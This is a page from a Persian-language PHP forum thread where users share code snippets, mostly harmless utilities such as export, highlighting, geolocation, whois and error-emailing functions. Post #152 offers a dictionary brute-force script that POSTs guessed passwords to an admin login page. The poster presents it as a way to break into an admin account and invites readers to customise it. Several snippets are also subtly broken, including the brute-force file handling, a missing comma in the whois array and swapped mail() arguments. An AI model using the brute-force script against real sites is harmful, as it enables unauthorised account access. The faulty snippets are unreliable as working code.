    $value = STR_REPLACE('"', '""', $value);
    $value = '"'.$value.'"'."\t";
    }

    $line .= $value;
    }

    IF (ISSET($data))
    $data .= TRIM($line)."\n";
    ELSE
    $data = TRIM($line)."\n";
    }

    $data = STR_REPLACE("\r", "", $data);

    IF ($data == '')
    $data = "\nno matching records\n";

    HEADER("Content-Type: application/vnd.ms-word; name='word'");
    HEADER("Content-type: application/octet-stream");
    HEADER("Content-Disposition: attachment; filename=filename_here.doc");
    HEADER("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    HEADER("Pragma: no-cache");
    HEADER("Expires: 0");

    ECHO $header."\n".$data;
    EXIT;

    ?>

  29. #149
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    Perfect Highlighting Function
    <?PHP

    // highlight words in a string
    FUNCTION highlight($text, $search) {
    $text = PREG_REPLACE( "/(^|\s|,!|;)(".PREG_QUOTE($search, "/").")(\s|,|!|&|$)/i", "\\1<span class='hlstyle'>\\2</span>\\3", $text );
    RETURN $text;
    }

    ?>

  30. #150
    کاربر دائمی
    تاریخ عضویت
    آذر 1387
    محل زندگی
    اهل کاشانم
    پست
    746

    نقل قول: snippet های php

    تابع preg برای حروف فارسی

    <?php
    preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", 'سعید');
    ?>

  31. #151

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:39 صبح

  32. #152
    کاربر دائمی آواتار رضا قربانی
    تاریخ عضویت
    خرداد 1389
    محل زندگی
    ܓܨ_| ı̴̴̡ ̡̡͡|̲̲̲͡͡͡ ̲▫̲͡ ̲̲̲͡͡π̲̲͡͡ ̲̲͡▫̲̲͡͡ ̲|̡̡̡ _
    پست
    1,824

    نقل قول: snippet های php

    این یه نمونه بروت فورس برای پسورد هست:
    یک جورایی حدث پسورد و نفوذ به ادمین.
    brute force


    $fh = fopen("dic1.txt", "r");
    while(!feof($fh)) {
    $curl = curl_init();
    $pass = fgets($fh,1024);
    $data = fread($fh, filesize('dic1.txt'));

    curl_setopt($curl, CURLOPT_URL,"http://www.domain.com/admin.php");
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, "Uname=admin&Pword=$pass&Submit=True");

    curl_exec ($curl);
    curl_close ($curl);


    $result = eregi("Incorrect", $data);
    if ( $result == 0 ) {
    echo "$pass is the password!";
    break;
    fclose($fh);
    }
    }



    در این قسمت شما باید متغیر هایی که در متد GET استفاده میشه رو قرار بدید...

    "Uname=admin&Pword=$pass&Submit=True"

    بجای Uname و Pword کلماتی که در مرورگر سایت برای این مورد استفاده میشه...

    این یه کد اولیه هست که باید طبق نیازت کاستوم کنید


    =======
    پ ن : لطفا در مورد کدهایی که میذارید یک توضیح کوچیکی بدید از کارش

  33. #153

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:40 صبح

  34. #154
    کاربر دائمی
    تاریخ عضویت
    آذر 1390
    محل زندگی
    کرمان
    پست
    1,461

    نقل قول: snippet های php

    سلام.
    مي دونم بايد يه تاپيك جداگانه بزنم اما گفتم اگر اينجا باشه شايد بدرد ديگران هم بخوره و بيشتر ديده بشه.
    من يه فانكشن مي خوام كه كه بهش يه عبارت بديم و اون رو انكد كنه و همچنين يه فانكشن كه بتونه ديكد كنه.

  35. #155

    نقل قول: snippet های php

    تشخیص موقعیت از روی IP :

    function detect($ip) {
    $default = 'UNKNOWN';
    if (!is_string($ip) || strlen($ip) < 1 || $ip == '127.0.0.1' || $ip == 'localhost') {
    $ip = '8.8.8.8';
    }
    $curlopt_useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)';
    $url = 'http://ipinfodb.com/ip_locator.php?ip=' . urlencode($ip);
    $ch = curl_init();
    $curl_opt = array(
    CURLOPT_FOLLOWLOCATION => 1,
    CURLOPT_HEADER => 0,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_USERAGENT => $curlopt_useragent,
    CURLOPT_URL => $url,
    CURLOPT_TIMEOUT => 1,
    CURLOPT_REFERER => 'http://' . $_SERVER['HTTP_HOST'],
    );
    curl_setopt_array($ch, $curl_opt);
    ob_start();
    curl_exec($ch);
    $content = ob_get_contents();
    ob_end_clean();
    curl_close($ch);

    if(preg_match('#<li>City : ([^<]*)</li>#i', $content, $regs)) {
    $city = $regs[1];
    }
    if(preg_match('#<li>State/Province : ([^<]*)</li>#i', $content, $regs)) {
    $state = $regs[1];
    }

    if($city != '' && $state != '') {
    $location = $city . ', ' . $state;
    return $location;
    }
    else {
    return $default;
    }
    }

  36. #156

    نقل قول: snippet های php

    تعداد طرفداران صفحه شما در FaceBook :

    <?php
    function fb_fan_count($facebook_name) {
    // Example: https://graph.facebook.com/barnamenevis.ir
    $data = json_decode(file_get_contents("https://graph.facebook.com/".$facebook_name));
    echo $data->likes;
    }
    ?>

  37. #157

    نقل قول: snippet های php

    مشاهده میزان حافظه مصرفی اسکریپت شما:

    <?php
    echo "Initial: ".memory_get_usage()." bytes \n";
    /* prints
    Initial: 361400 bytes
    */

    // let's use up some memory
    for ($i = 0; $i < 100000; $i++) {
    $array []= md5($i);
    }

    // let's remove half of the array
    for ($i = 0; $i < 100000; $i++) {
    unset($array[$i]);
    }

    echo "Final: ".memory_get_usage()." bytes \n";
    /* prints
    Final: 885912 bytes
    */

    echo "Peak: ".memory_get_peak_usage()." bytes \n";
    /* prints
    Peak: 13687072 bytes
    */
    ?>

    میتونید کارهای زیادی انجام بدین. مثلاً حافظه مصرفی ابتدا و انتهای اسکریپت رو بدست بیارین و از هم کم کنید تا بفهمید کدتون چقدر در مصرف حافظه بهینه عمل میکنه!

  38. #158

    نقل قول: snippet های php

    Whois با PHP :

    <?php
    function whois_query($domain) {
    // fix the domain name:
    $domain = strtolower(trim($domain));
    $domain = preg_replace('#^http:\/\/#i', '', $domain);
    $domain = preg_replace('#^www\.#i', '', $domain);
    $domain = explode('/', $domain);
    $domain = trim($domain[0]);

    // split the TLD from domain name
    $_domain = explode('.', $domain);
    $lst = count($_domain)-1;
    $ext = $_domain[$lst];

    // You find resources and lists
    // like these on wikipedia:
    //
    // http://de.wikipedia.org/wiki/Whois
    //
    $servers = array(
    'ac' => 'whois.nic.ac',
    'ae' => 'whois.uaenic.ae',
    'aero' => 'whois.information.aero',
    'at' => 'whois.ripe.net',
    'au' => 'whois.aunic.net',
    'be' => 'whois.dns.be',
    'bg' => 'whois.ripe.net',
    'biz' => 'whois.neulevel.biz',
    'br' => 'whois.registro.br',
    'bz' => 'whois.belizenic.bz',
    'ca' => 'whois.cira.ca',
    'cc' => 'whois.nic.cc',
    'ch' => 'whois.nic.ch',
    'cl' => 'whois.nic.cl',
    'cn' => 'whois.cnnic.net.cn',
    'com' => 'whois.internic.net',
    'coop' => 'whois.nic.coop',
    'cz' => 'whois.nic.cz',
    'de' => 'whois.nic.de',
    'edu' => 'whois.internic.net',
    'fr' => 'whois.nic.fr',
    'gov' => 'whois.nic.gov',
    'hu' => 'whois.nic.hu',
    'ie' => 'whois.domainregistry.ie',
    'il' => 'whois.isoc.org.il',
    'in' => 'whois.ncst.ernet.in',
    'info' => 'whois.nic.info',
    'int' => 'whois.iana.org',
    'ir' => 'whois.nic.ir',
    'mc' => 'whois.ripe.net',
    'mil' => 'rs.internic.net',
    'name' => 'whois.nic.name',
    'net' => 'whois.internic.net',
    'nl' => 'whois.domain-registry.nl'
    'org' => 'whois.pir.org',
    'ru' => 'whois.ripn.net',
    'to' => 'whois.tonic.to',
    'tv' => 'whois.tv',
    'us' => 'whois.nic.us',
    );

    if (!isset($servers[$ext]) || !in_array($ext, $servers)) {
    die('Error: No matching nic server found!');
    }

    $nic_server = $servers[$ext];
    $output = '';

    // connect to whois server:
    if ($conn = fsockopen ($nic_server, 43)) {
    fputs($conn, $domain."\r\n");
    while(!feof($conn)) {
    $output .= fgets($conn, 128);
    }
    fclose($conn);
    }
    else {
    die('Error: Could not connect to ' . $nic_server . '!');
    }

    return $output;
    }
    ?>

    میتونید سرورهای Whois رو کاملتر کنید.

  39. #159

    نقل قول: snippet های php

    فرستادن خطاهای PHP به ایمیل شما بجای نمایش در صفحه:

    <?php
    // Our custom error handler
    function mail_error_handler($number, $message, $file, $line, $vars) {
    $email = "
    <p>An error ({$number}) occurred on line
    <strong>{$line}</strong> and in the <strong>file: {$file}.</strong>
    <p> {$message} </p>";

    $email .= "<pre>" . print_r($vars, 1) . "</pre>";

    $headers = 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

    // Email the error to someone...
    @mail($email, 'PHP_ERROR', 'you@youremail.com', $headers);

    // Make sure that you decide how to respond to errors (on the user's side)
    // Either echo an error message, or kill the entire project. Up to you...
    // The code below ensures that we only "die" if the error was more than
    // just a NOTICE.
    if (($number !== E_NOTICE) && ($number < 2048)) {
    die('There was an error. Please try again later.');
    }
    }

    // We should use our custom function to handle errors.
    set_error_handler('mail_error_handler');

    // Trigger an error... (var doesn't exist)
    echo $somevarthatdoesnotexist;
    ?>

  40. #160

    پست بدون محتوا

    //////////
    آخرین ویرایش به وسیله MostafaEs3 : سه شنبه 19 بهمن 1395 در 06:50 صبح

صفحه 4 از 6 اولاول ... 23456 آخرآخر

برچسب های این تاپیک

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •